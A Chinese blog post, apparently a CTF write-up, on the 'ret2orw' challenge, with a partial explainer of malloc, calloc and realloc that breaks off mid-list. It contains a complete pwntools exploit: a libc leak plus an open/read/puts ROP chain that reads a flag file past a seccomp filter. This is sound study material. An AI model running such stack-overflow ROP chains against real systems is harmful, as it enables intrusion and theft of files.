{"id":575,"date":"2025-07-29T10:15:12","date_gmt":"2025-07-29T02:15:12","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=575"},"modified":"2025-07-29T10:15:12","modified_gmt":"2025-07-29T02:15:12","slug":"%e4%b8%80%e7%82%b9%e6%97%a7%e5%ad%98%e8%b4%a7%e5%8a%a0%e4%b8%80%e7%82%b9%e6%96%b0%e4%b8%9c%e8%a5%bf","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=575","title":{"rendered":"\u4e00\u70b9\u65e7\u5b58\u8d27\u52a0\u4e00\u70b9\u65b0\u4e1c\u897f"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">ret2orw<\/h3>\n\n\n\n<p>\u611f\u89c9\u4f1a\u6210\u6211\u5370\u8c61\u5f88\u6df1\u523b\u7684<code>ORW<\/code>\u5165\u95e8\u9898<\/p>\n\n\n\n<p>\u5f00\u5c40\u5148checksec<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/\u684c\u9762\/ret2orw]<br>\u2514\u2500$ checksec ret2orw &nbsp;<br>&#91;*] '\/home\/kali\/\u684c\u9762\/ret2orw\/ret2orw'<br> &nbsp;  Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp;  RELRO: &nbsp; &nbsp;  Partial RELRO<br> &nbsp;  Stack: &nbsp; &nbsp;  No canary found<br> &nbsp;  NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp;  PIE: &nbsp; &nbsp; &nbsp;  No PIE (0x400000)<br> &nbsp;  SHSTK: &nbsp; &nbsp;  Enabled<br> &nbsp;  IBT: &nbsp; &nbsp; &nbsp;  Enabled<br> &nbsp;  Stripped: &nbsp; No<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<\/code><\/pre>\n\n\n\n<p>RELRO\u534a\u5f00\uff0cNX\u5f00\u7740<\/p>\n\n\n\n<p>\u5148\u56de\u5230IDA\u53bb\u770b\u5185\u5bb9<\/p>\n\n\n\n<p><code>main<\/code>\u51fd\u6570\u5f88\u7b80\u5355\uff0c\u4e00\u5806puts\u7136\u540e\u8fdb\u5165\u4e00\u4e2a<code>vuln<\/code>\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssize_t vuln()<br>{<br> &nbsp;_BYTE buf&#91;32]; \/\/ &#91;rsp+0h] &#91;rbp-20h] BYREF<br>\u200b<br> &nbsp;return read(0, buf, 0x100uLL);<br>}<\/code><\/pre>\n\n\n\n<p>\u5728 <code>vuln<\/code>\u51fd\u6570\u91cc\u9762\u80fd\u770b\u5230\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u5728\u8003\u8651\u80fd\u4e0d\u80fd\u6253ret2text\u4e86<\/p>\n\n\n\n<p>\u4f46\u662f\u53bb\u67e5\u5b57\u7b26\u5185\u5bb9\uff0c\u53d1\u73b0\u6ca1\u4e1c\u897f<\/p>\n\n\n\n<p>\u770b\u5230\u4e00\u4e2a\u6240\u8c13<code>backdoor<\/code>\u51fd\u6570\u548c<code>hint<\/code>\u51fd\u6570<\/p>\n\n\n\n<p><code>backdoor<\/code>\u51fd\u6570\u8fd8\u7b97\u6709\u6982\u7387\u80fd\u7528\u4e0a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int backdoor()<br>{<br> &nbsp;return system(\"really?\\n\");<br>}<\/code><\/pre>\n\n\n\n<p>\u53e6\u5916\u4e00\u4e2a<code>hint<\/code>\u51fd\u6570\u4ec0\u4e48\u90fd\u6ca1\u6709<\/p>\n\n\n\n<p>\u4f46\u662f\u6ca1\u5b57\u7b26\u554a\uff0c\u8fd8\u56e0\u4e3aNX\u6ca1\u6cd5\u4f20shellcode\uff0c\u4e5f\u5c31\u6ca1\u6cd5\u6253ret2shellcode<\/p>\n\n\n\n<p>\u597d\uff0c\u90a3\u6253ret2libc\u80fd\u884c\u5417\uff0c\u53cd\u6b63libc\u6587\u4ef6\u7ed9\u4e86\uff0c\u76f4\u63a5\u586b\u677f\u5b50\u80fd\u6253\u5417\uff1f<\/p>\n\n\n\n<p>\u770b\u770b\u9898\u76ee\u540d\u79f0\uff0cORW<\/p>\n\n\n\n<p>open\uff0cread\uff0cwrite\uff0c\u4e09\u4e2a\u51fd\u6570\u7f29\u5199\u4e3aORW\uff0cORW\u83b7\u53d6\u5185\u5bb9\u7684\u9002\u7528\u6761\u4ef6\u4e00\u822c\u662f\u65e0\u6cd5\u6b63\u5e38\u6253\u5f00execve\u5565\u7684\u60c5\u51b5\u4e0b<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u65f6\u5019\u53ef\u4ee5\u770b\u5230\u5b58\u5728\u6c99\u7bb1\u51fd\u6570\uff0cseccomp<\/p>\n\n\n\n<p>\u6240\u4ee5\u5e38\u89c4\u7684libc\u5927\u6982\u7387\u4e0d\u80fd\u6210\u529f\u6253\u901a\uff0c\u6211\u4eec\u5148\u67e5\u67e5\u6c99\u7bb1\u9650\u5236\u4e86\u54ea\u4e9b\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/\u684c\u9762\/ret2orw]<br>\u2514\u2500$ seccomp-tools dump .\/ret2orw<br> line  CODE  JT &nbsp; JF &nbsp; &nbsp;  K<br>=================================<br> 0000: 0x20 0x00 0x00 0x00000004  A = arch<br> 0001: 0x15 0x00 0x05 0xc000003e &nbsp;if (A != ARCH_X86_64) goto 0007<br> 0002: 0x20 0x00 0x00 0x00000000  A = sys_number<br> 0003: 0x35 0x00 0x01 0x40000000 &nbsp;if (A &lt; 0x40000000) goto 0005<br> 0004: 0x15 0x00 0x02 0xffffffff &nbsp;if (A != 0xffffffff) goto 0007<br> 0005: 0x15 0x01 0x00 0x0000003b &nbsp;if (A == execve) goto 0007<br> 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW<br> 0007: 0x06 0x00 0x00 0x00000000  return KILL<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <\/code><\/pre>\n\n\n\n<p>\u8fd9\u91ccA = sys_number \uff0c\u5df2\u7ecf\u662f\u7cfb\u7edf\u8c03\u7528\u53f7<\/p>\n\n\n\n<p>\u6240\u4ee5\u5e38\u89c4\u7684\u51fd\u6570\uff0c\u50cfopen,read,write\u4ec0\u4e48\u7684\u90fd\u8fd8\u80fd\u7528\uff0c\u5c31execve\u88abban\u6389\u4e86<\/p>\n\n\n\n<p>\u90a3\u5c31\u662f\u4e00\u4e2a\u5f88\u5e38\u89c4\u7684ORW\u4e86<\/p>\n\n\n\n<p>\u9996\u5148\u662f\u8003\u8651\u6cc4\u9732\u51faputs@address<\/p>\n\n\n\n<p>\u90a3\u8fd9\u4e2a\u65f6\u5019\u5c31\u5148\u5199\u6210\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>context(os = 'linux', arch = 'amd64', log_level = 'debug')<br>io = remote('gz.imxbt.cn', 20123)<br>context.binary = 'ret2orw'<br>elf = ELF('.\/ret2orw')<br>libc = ELF('.\/libc.so.6')<br>offset = 0x20<br>pop_rdi = 0x00000000004012ce #: pop rdi ; ret<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>main = 0x4012F2<br>\u200b<br>#\u6cc4\u6f0flibc<br>pl = b'a'*(offset) + p64(0)<br>pl += p64(pop_rdi)<br>pl += p64(puts_got)<br>pl += p64(puts_plt)<br>pl += p64(main)<br>\u200b<br>io.recvuntil(\"oh,what's this?\\n\")<br>io.sendline(pl)<br>leak = u64(io.recv(6).ljust(8, b'\\x00'))<br>log.info(f\"Leaked puts@libc: {hex(leak)}\")<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u62ff\u5230libc\u7136\u540e\u53bb\u627e\u57fa\u5730\u5740\u6c42\u504f\u79fb<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">#\u8ba1\u7b97\u504f\u79fb\u6307\uff0c\u4e5f\u5c31\u662f\u57fa\u5730\u5740<br>libc_offset = libc.sym['puts']<br>libc_base = leak - libc_offset<br>log.info(f\"Leaked libc_base:{hex(libc_base)}\")<br>\u200b<br>\u200b<br>#\u5e38\u89c4ret2libc\u5c31\u6309\u4e0b\u9762\u7684\u65b9\u6cd5\u6253\uff0c\u627esystem\u627ebin\/sh\u5728libc\u91cc\u7684\u5730\u5740\u7136\u540e\u7b97\u504f\u79fb<br># system_addr = libc_base + libc.sym['system']<br># bin_sh_addr = libc_base + next(libc.search(b'\/bin\/sh\\x00'))<br># log.info(f\"Leaked system_addr:{hex(system_addr)}\")<br># log.info(f\"Leaked bin_sh_addr:{hex(bin_sh_addr)}\")<br>\u200b<br>#ORW\u5c31\u6709\u70b9\u4e0d\u4e00\u6837\u4e86\uff0c\u56e0\u4e3a\u6ca1\u529e\u6cd5\u7528execve\uff0c\u53ea\u80fd\u53bblibc\u91cc\u9762\u627eopen\uff0cread\uff0cwrite\u5565\u7684\uff0c\u7136\u540e\u8fd8\u8981\u4e3a\u4e86\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\uff0c\u53bb\u627e\u4e00\u4e9b\u5fc5\u8981\u7684\u5bc4\u5b58\u5668\u5730\u5740\uff0c\u8fd9\u4ee8\u51fd\u6570\u5fc5\u7528\u7684\u5bc4\u5b58\u5668\u662f`rdi` `rsi`  `rdx`<br>open_addr = libc_base + libc.sym['open']<br>read_addr = libc_base + libc.sym['read']<br>write_addr = libc_base + libc.sym['write']<br>#   0x000000000002be51 : pop rsi ; ret<br>pop_rsi = libc_base + 0x000000000002be51<br># &nbsp; 0x00000000000904a9 : pop rdx ; pop rbx ; ret<br>pop_rdx_rbx = libc_base + 0x00000000000904a9<\/pre>\n\n\n\n<p>\u7136\u540e\u5f00\u59cb\u5199\u4e2aROP\u94fe\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>\u7b2c\u4e00\u6b21read\uff0c\u662f\u628aflag\u6254\u5230\u6211\u60f3\u8981\u7684bss\u6bb5\u5730\u5740\u53bb\uff0c\u6240\u4ee5\u770b\u7740\u4f20\u53c2\u5c31\u884c\u4e86\uff0c\u6bd4\u5982\u7b2c\u4e00\u6b21read\u90a3\u4e2a0x40\uff0c\u522b\u592a\u79bb\u8c31\u5c31\u884c\u4e86\uff0c0x\u591a\u5c11\u57fa\u672c\u4e0a\u90fd\u80fd\u7528\uff0c\u53cd\u6b63\u591f\u5199\u8fd8\u4e0d\u5927\u5f97\u6ca1\u8fb9\u90fd\u80fd\u73a9<\/p>\n\n\n\n<p>\u8fd9\u91cc\u7684\u672c\u8d28\u662f\u628aflag\u8fd9\u4e2a\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u5199\u8fdbbss\u6bb5\uff0c\u7ecf\u9a8c\u8bc1\uff0c\u641e\u6210read(0, bss, 0x8)\u90fd\u80fd\u73a9\uff0c\u8fd9\u4e00\u6b21\u5b58\u7684\u6ca1\u6709\u5185\u5bb9\uff0c\u53ea\u6709\u6587\u4ef6\u540d<\/p>\n\n\n\n<p>open\u5c31\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u6253\u5f00\u561b<\/p>\n\n\n\n<p>\u7b2c\u4e8c\u6b21read\u5c31\u4ecebss\u7684\u5730\u5740\u5f00\u59cb\u5f80\u540e\u8bfb\uff0c\u8bfb\u7684\u5c31\u662fflag\u7684\u5185\u5bb9\uff0c\u80fd\u8bfb\u5b8cflag\u5c31\u884c\uff0c\u4f60\u5982\u679c\u77ed\u4e86flag\u80af\u5b9a\u5c31\u8bfb\u4e0d\u5168\uff0c\u80fd\u8bfb\u5168flag\u5c31\u884c\u4e86<\/p>\n\n\n\n<p>\u5269\u4e0b\u7684\u66f4\u7b80\u5355\uff0cputs\u8fdb\u884c\u8f93\u51fa\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>\u65f6\u5e8f\u60c5\u51b5\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>+---------------------+ &nbsp; &nbsp; &nbsp; +-------------------------+<br>| \u53d1\u9001\u7b2c\u4e8c\u4e2apayload &nbsp; &nbsp;  | --&gt;  | \u7a0b\u5e8f\u6267\u884cROP\u94fe: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br>| (\u8986\u76d6\u8fd4\u56de\u5730\u5740+ROP\u6307\u4ee4)  | &nbsp; &nbsp;  | 1. read(0, bss, 0x40) &nbsp; |<br>+---------------------+ &nbsp; &nbsp; &nbsp; | &nbsp;  \uff08\u7b49\u5f85\u8f93\u5165\uff09 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  |<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  +-------------------------+<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  |<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  | \u7a0b\u5e8f\u6682\u505c\uff0c\u7b49\u5f85\u8f93\u5165<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  v<br>+---------------------+ &nbsp; &nbsp; &nbsp; +-------------------------+<br>| \u53d1\u9001 \".\/flag\" \u5b57\u7b26\u4e32 &nbsp; | --&gt; &nbsp; | read\u5c06\u5b57\u7b26\u4e32\u5199\u5165.bss\u6bb5 &nbsp; &nbsp; |<br>+---------------------+ &nbsp; &nbsp; &nbsp; +-------------------------+<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  |<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  v<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  +-------------------------+<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  | \u7ee7\u7eed\u6267\u884cROP\u94fe: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  |<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  | 2. open(bss, 0, 0) &nbsp; &nbsp;  |<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  | 3. read(3, bss, 0x40) &nbsp; |<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  | 4. puts(bss) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  |<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  +-------------------------+<\/code><\/pre>\n\n\n\n<p>\u4ee3\u7801\u5b9e\u73b0\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#\u7136\u540e\u5c31\u662f\u6784\u9020\u7b2c\u4e8c\u4e2apayload\u6ea2\u51fa\u4f7f\u6267\u884c\u6211\u4eec\u60f3\u8981\u5b9e\u73b0\u7684ROP\u94fe<br>#read(0, bss, 0x40)<br>payload = b'a'*(offset + 8)<br>payload += p64(pop_rdi) + p64(0)<br>payload += p64(pop_rsi) + p64(bss)<br>payload += p64(pop_rdx_rbx) + p64(0x40) + p64(0)<br>payload += p64(read_addr)<br>#open(bss, 0, 0)<br>payload += p64(pop_rdi) + p64(bss)<br>payload += p64(pop_rsi) + p64(0)<br>payload += p64(pop_rdx_rbx) + p64(0) + p64(0)<br>payload += p64(open_addr)<br>#read(3, bss, 0x40)<br>payload += p64(pop_rdi) + p64(3)<br>payload += p64(pop_rsi) + p64(bss)<br>payload += p64(pop_rdx_rbx) + p64(0x40) + p64(0)<br>payload += p64(read_addr)<br>#puts(bss)<br>payload += p64(pop_rdi) + p64(bss)<br>payload += p64(puts_plt)<br>\u200b<br># payload = payload.ljust(0x100, b'a')<br>\u200b<br>io.recvuntil(\"oh,what's this?\\n\")<br>io.send(payload)<br>sleep(1)<br>io.send('.\/flag')<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>\u8fd8\u6709\u4e00\u4e2a\u5c0f\u95ee\u9898\u6ca1\u8bf4\uff0c\u90a3bss\u7684\u5730\u5740\u600e\u4e48\u641e\uff1f<\/p>\n\n\n\n<p>\u56de\u5230IDA\u770b\u770b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.bss:0000000000404060 __bss_start<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e0d\u6709\u4e86\uff1f\u4f46\u662f\u8fd8\u662f\u4e0d\u884c\uff0cbss\u6bb5\u6709\u5f88\u591a\u8981\u7528\u7684\u6570\u636e\uff0c\u5982\u679c\u5c31\u76f4\u63a5\u5199\u5230\u8fd9\uff0c\u90a3\u6211\u4eec\u7684\u7a0b\u5e8f\u4e0d\u5f97\u76f4\u63a5\u62a5\u9519\u6545\u969c\u9000\u51fa\uff1f<\/p>\n\n\n\n<p>\u6240\u4ee5\u9694\u8fdc\u70b9\u5c31\u597d\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>bss = 0x404060 + 0x600<\/code><\/pre>\n\n\n\n<p>0x600\u4e5f\u597d\uff0c0x400\u4e5f\u884c\uff0c\u53cd\u6b63\u9694\u5f00\u70b9\u522b\u628a\u91cd\u8981\u6570\u636e\u8986\u76d6\u4e86\u5c31\u884c\uff08\u5b9e\u6d4b\u6539\u62100x23\u90fd\u884c\uff0c\u4e0d\u8fc7\u8bb2\u9053\u74060x23\u90fd\u5df2\u7ecf\u8986\u76d6\u4e86\u4e00\u4e9bbss\u6bb5\u6570\u636e\u4e86\uff0c\u53ea\u80fd\u8bf4\u6709\u4e9b\u80fd\u8986\u76d6\u6709\u4e9b\u4e0d\u80fd\u8986\u76d6\uff0c\u5e94\u8be5\u8fd8\u80fd\u5f80\u4e0b\u538b\uff09<\/p>\n\n\n\n<p>\u8fd9\u9898\u611f\u89e6\u8fd8\u7b97\u633a\u6df1\u7684\uff0cdebug\u771f\u662f\u4e2a\u597d\u4e1c\u897f<\/p>\n\n\n\n<p>\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>context(os = 'linux', arch = 'amd64', log_level = 'debug')<br>io = remote('gz.imxbt.cn', 20125)<br>\u200b<br># io = process(\".\/ret2orw\")<br>\u200b<br>context.binary = 'ret2orw'<br>elf = ELF('.\/ret2orw')<br>libc = ELF('.\/libc.so.6')<br>offset = 0x20<br>pop_rdi = 0x00000000004012ce #: pop rdi ; ret<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>bss = 0x404060 + 0x230<br>main = 0x4012F2<br>\u200b<br>#\u6cc4\u6f0flibc<br>pl = b'a'*(offset) + p64(0)<br>pl += p64(pop_rdi)<br>pl += p64(puts_got)<br>pl += p64(puts_plt)<br>pl += p64(main)<br>\u200b<br>io.recvuntil(\"oh,what's this?\\n\")<br>io.sendline(pl)<br>leak = u64(io.recv(6).ljust(8, b'\\x00'))<br>log.info(f\"Leaked puts@libc: {hex(leak)}\")<br>\u200b<br># \u6cc4\u6f0f\u51fa\u7684puts_libc:0x7f4e5e01de50<br>\u200b<br>#\u8ba1\u7b97\u504f\u79fb\u6307\uff0c\u4e5f\u5c31\u662f\u57fa\u5730\u5740<br>libc_offset = libc.sym&#91;'puts']<br>libc_base = leak - libc_offset<br>log.info(f\"Leaked libc_base:{hex(libc_base)}\")<br>\u200b<br>\u200b<br>#\u5e38\u89c4ret2libc\u5c31\u6309\u4e0b\u9762\u7684\u65b9\u6cd5\u6253\uff0c\u627esystem\u627ebin\/sh\u5728libc\u91cc\u7684\u5730\u5740\u7136\u540e\u7b97\u504f\u79fb<br>\u200b<br># system_addr = libc_base + libc.sym&#91;'system']<br>\u200b<br># bin_sh_addr = libc_base + next(libc.search(b'\/bin\/sh\\x00'))<br>\u200b<br># log.info(f\"Leaked system_addr:{hex(system_addr)}\")<br>\u200b<br># log.info(f\"Leaked bin_sh_addr:{hex(bin_sh_addr)}\")<br>\u200b<br>#ORW\u5c31\u6709\u70b9\u4e0d\u4e00\u6837\u4e86<br>open_addr = libc_base + libc.sym&#91;'open']<br>read_addr = libc_base + libc.sym&#91;'read']<br>write_addr = libc_base + libc.sym&#91;'write']<br>#0x000000000002be51 : pop rsi ; ret<br>pop_rsi = libc_base + 0x000000000002be51<br>\u200b<br># &nbsp; 0x00000000000904a9 : pop rdx ; pop rbx ; ret<br>\u200b<br>pop_rdx_rbx = libc_base + 0x00000000000904a9<br>\u200b<br>\u200b<br>\u200b<br>#\u7136\u540e\u5c31\u662f\u6784\u9020\u7b2c\u4e8c\u4e2apayload\u6ea2\u51fa\u4f7f\u6267\u884c\u6211\u4eec\u60f3\u8981\u5b9e\u73b0\u7684ROP\u94fe<br>#read(0, bss, 0x40)<br>payload = b'a'*(offset + 8)<br>payload += p64(pop_rdi) + p64(0)<br>payload += p64(pop_rsi) + p64(bss)<br>payload += p64(pop_rdx_rbx) + p64(0x8) + p64(0)<br>payload += p64(read_addr)<br>#open(bss, 0, 0)<br>payload += p64(pop_rdi) + p64(bss)<br>payload += p64(pop_rsi) + p64(0)<br>payload += p64(pop_rdx_rbx) + p64(0) + p64(0)<br>payload += p64(open_addr)<br>#read(3, bss, 0x40)<br>payload += p64(pop_rdi) + p64(3)<br>payload += p64(pop_rsi) + p64(bss)<br>payload += p64(pop_rdx_rbx) + p64(0x100) + p64(0)<br>payload += p64(read_addr)<br>#puts(bss)<br>payload += p64(pop_rdi) + p64(bss)<br>payload += p64(puts_plt)<br>\u200b<br># payload = payload.ljust(0x100, b'a')<br>\u200b<br>io.recvuntil(\"oh,what's this?\\n\")<br>io.send(payload)<br>sleep(1)<br>io.send('.\/flag')<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn135<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><code>malloc<\/code>, <code>calloc<\/code>, <code>realloc<\/code> \u8be6\u89e3<\/h3>\n\n\n\n<p>\u8fd9\u4e09\u4e2a\u51fd\u6570\u90fd\u662f C \u8bed\u8a00\u4e2d\u7528\u4e8e<strong>\u52a8\u6001\u5185\u5b58\u5206\u914d<\/strong>\u7684\u6807\u51c6\u5e93\u51fd\u6570\uff08\u5b9a\u4e49\u5728 <code>&lt;stdlib.h&gt;<\/code> \u4e2d\uff09\uff0c\u4f46\u5b83\u4eec\u7684\u884c\u4e3a\u548c\u7528\u9014\u6709\u663e\u8457\u533a\u522b\uff1a<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">1. <strong><code>malloc<\/code><\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">void* malloc(size_t size);<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u529f\u80fd<\/strong>\uff1a\u5206\u914d\u6307\u5b9a\u5b57\u8282\u6570\u7684<strong>\u672a\u521d\u59cb\u5316<\/strong>\u5185\u5b58\u5757<\/li>\n\n\n\n<li><strong>\u53c2\u6570<\/strong>\uff1a<code>size<\/code> \u8868\u793a\u9700\u8981\u5206\u914d\u7684\u5b57\u8282\u6570<\/li>\n\n\n\n<li><strong>\u8fd4\u56de\u503c<\/strong>\uff1a\u6210\u529f\u65f6\u8fd4\u56de\u6307\u5411\u5206\u914d\u5185\u5b58\u8d77\u59cb\u5730\u5740\u7684\u6307\u9488\uff1b\u5931\u8d25\u65f6\u8fd4\u56de <code>NULL<\/code><\/li>\n\n\n\n<li><strong>\u5185\u5b58\u72b6\u6001<\/strong>\uff1a\u5206\u914d\u7684\u5185\u5b58\u5185\u5bb9\u662f<strong>\u672a\u521d\u59cb\u5316\u7684<\/strong>\uff08\u5185\u5bb9\u968f\u673a\uff0c\u53ef\u80fd\u662f\u5783\u573e\u503c\uff09<\/li>\n\n\n\n<li><strong>\u5178\u578b\u7528\u4f8b<\/strong>\uff1a int *arr = (int*)malloc(10 * sizeof(int)); \u00a0\/\/ \u5206\u914d 10 \u4e2a\u6574\u6570\u7684\u7a7a\u95f4<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">2. <strong><code>calloc<\/code><\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">void* calloc(size_t num, size_t size);<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u529f\u80fd<\/strong>\uff1a\u4e3a\u6307\u5b9a\u6570\u91cf\u7684\u5143\u7d20\u5206\u914d\u5185\u5b58\uff0c\u5e76\u5c06\u5185\u5b58<strong>\u521d\u59cb\u5316\u4e3a\u96f6<\/strong><\/li>\n\n\n\n<li><strong>\u53c2\u6570<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><code>num<\/code>\uff1a\u5143\u7d20\u6570\u91cf<\/li>\n\n\n\n<li><code>size<\/code>\uff1a\u6bcf\u4e2a\u5143\u7d20\u7684\u5b57\u8282\u5927\u5c0f<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u7b49\u6548\u64cd\u4f5c<\/strong>\uff1a\u76f8\u5f53\u4e8e <code>malloc(num * size)<\/code> + <code>memset(ptr, 0, num * size)<\/code><\/li>\n\n\n\n<li><strong>\u5185\u5b58\u72b6\u6001<\/strong>\uff1a\u5206\u914d\u7684\u5185\u5b58\u5185\u5bb9<strong>\u5168\u90e8\u521d\u59cb\u5316\u4e3a 0<\/strong>\uff08\u6574\u6570\u4e3a 0\uff0c\u6307\u9488\u4e3a <code>NULL<\/code>\uff09<\/li>\n\n\n\n<li><strong>\u5178\u578b\u7528\u4f8b<\/strong>\uff1a int *arr = (int*)calloc(10, sizeof(int)); \u00a0\/\/ \u5206\u914d\u5e76\u6e05\u96f6 10 \u4e2a\u6574\u6570\u7684\u7a7a\u95f4<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">3. <strong><code>realloc<\/code><\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">void* realloc(void* ptr, size_t new_size);<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u529f\u80fd<\/strong>\uff1a<strong>\u8c03\u6574<\/strong>\u5df2\u5206\u914d\u5185\u5b58\u5757\u7684\u5927\u5c0f\uff08\u6269\u5927\u6216\u7f29\u5c0f\uff09<\/li>\n\n\n\n<li><strong>\u53c2\u6570<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><code>ptr<\/code>\uff1a\u6307\u5411\u5148\u524d\u5206\u914d\u7684\u5185\u5b58\u5757\u7684\u6307\u9488\uff08\u82e5\u4e3a <code>NULL<\/code>\uff0c\u5219\u7b49\u4ef7\u4e8e <code>malloc(new_size)<\/code>\uff09<\/li>\n\n\n\n<li><code>new_size<\/code>\uff1a\u65b0\u7684\u5185\u5b58\u5927\u5c0f\uff08\u5b57\u8282\u6570\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u884c\u4e3a<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><strong>\u6269\u5927\u5185\u5b58<\/strong>\uff1a\u5c1d\u8bd5\u5728\u539f\u5185\u5b58\u5757\u540e\u6269\u5c55\u7a7a\u95f4\uff1b\u82e5\u5931\u8d25\u5219\u5206\u914d\u65b0\u5185\u5b58\u5757\uff0c\u590d\u5236\u65e7\u6570\u636e\uff0c\u91ca\u653e\u539f\u5185\u5b58<\/li>\n\n\n\n<li><strong>\u7f29\u5c0f\u5185\u5b58<\/strong>\uff1a\u76f4\u63a5\u622a\u65ad\u539f\u5185\u5b58\u5757\uff0c\u591a\u4f59\u90e8\u5206\u88ab\u91ca\u653e<\/li>\n\n\n\n<li><strong><code>ptr<\/code> \u4e3a <code>NULL<\/code><\/strong>\uff1a\u7b49\u4ef7\u4e8e 